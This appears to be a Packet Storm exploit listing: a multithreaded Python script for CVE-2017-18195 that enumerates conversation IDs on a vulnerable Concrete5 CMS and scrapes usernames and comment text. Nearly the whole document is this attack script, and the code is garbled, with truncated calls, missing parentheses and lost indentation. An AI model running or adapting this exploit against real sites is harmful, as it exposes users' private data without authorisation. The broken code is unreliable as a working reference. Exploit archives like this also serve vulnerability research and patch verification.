Concrete5 Username / Comments Enumeration

Type packetstorm
Reporter Chapman Schleiss
Modified 2018-02-27T00:00:00


                                            `#!/usr/bin/env python3  
# Concrete5 < 8.3 vulnerable to Authorization Bypass Through User-Controlled Key (IDOR)  
# CVE-2017-18195  
# Chapman (R3naissance) Schleiss  
from queue import Queue  
from threading import Thread  
from bs4 import BeautifulSoup  
from tabulate import tabulate  
import argparse  
import requests  
import logging  
parser = argparse.ArgumentParser(  
description="This script attempts to enumerate all comments from a vulnerable Concrete5 CMS.",  
parser.add_argument('-u','--url', action='store', dest='url', required=True,  
help="This is the url to attack. Typically")  
parser.add_argument('-s','--start', action='store', type=int, dest='start_id',  
help='Where to start enumeration')  
parser.add_argument('-e','--end', action='store', type=int, dest='end_id',  
help='Where to end enumeration')  
parser.add_argument('-v','--verbose', action='store_true', dest='verbose',  
help='This boolean flag will trigger all raw information to stdout')  
args = parser.parse_args()  
if args.verbose:  
logging.basicConfig(level=logging.DEBUG, format='[%(levelname)s] - %(threadName)s - %(message)s')  
logging.basicConfig(level=logging.INFO, format='[%(levelname)s] %(message)s')  
if args.start_id is None:  
args.start_id = 1  
if args.end_id is None:  
args.end_id = 10  
def crawl(q, result):  
while not q.empty():  
work = q.get()  
logging.debug("Requesting cnvID: " + str(work))  
response =, data={'cnvID': work, 'cID': 1}, timeout=300)  
logging.debug("Requested cnvID: %s [%s]", str(work), str(response.status_code))  
if response.status_code < 400 or response.status_code > 499:  
logging.debug("Parsing html and adding comments to results list")  
soup = BeautifulSoup(response.text, 'html.parser')  
username = soup.find_all('span', {'class': 'ccm-conversation-message-username'})  
message = soup.find_all('div', {'class': 'ccm-conversation-message-body'})  
for i in range(len(username)):  
results.append((work, username[i].text.strip(), message[i].text.strip()))"Completed cnvID: " + str(work))  
logging.error('Error getting cnvID: ' + str(work))  
return True  
q = Queue(maxsize=0)  
enum = range(args.start_id, args.end_id + 1)  
num_theads = min(50, len(enum))  
results = []  
for i in enum:  
for i in range(num_theads):  
logging.debug('Starting thread ' + str(i))  
worker = Thread(target=crawl, args=(q, results), name="Thread: " + str(i))  
logging.debug('Waiting for final threads to complete')  
q.join()'Enumeration complete')  
print(tabulate(results, headers=('cnvID', 'username', 'message'), tablefmt='grid'))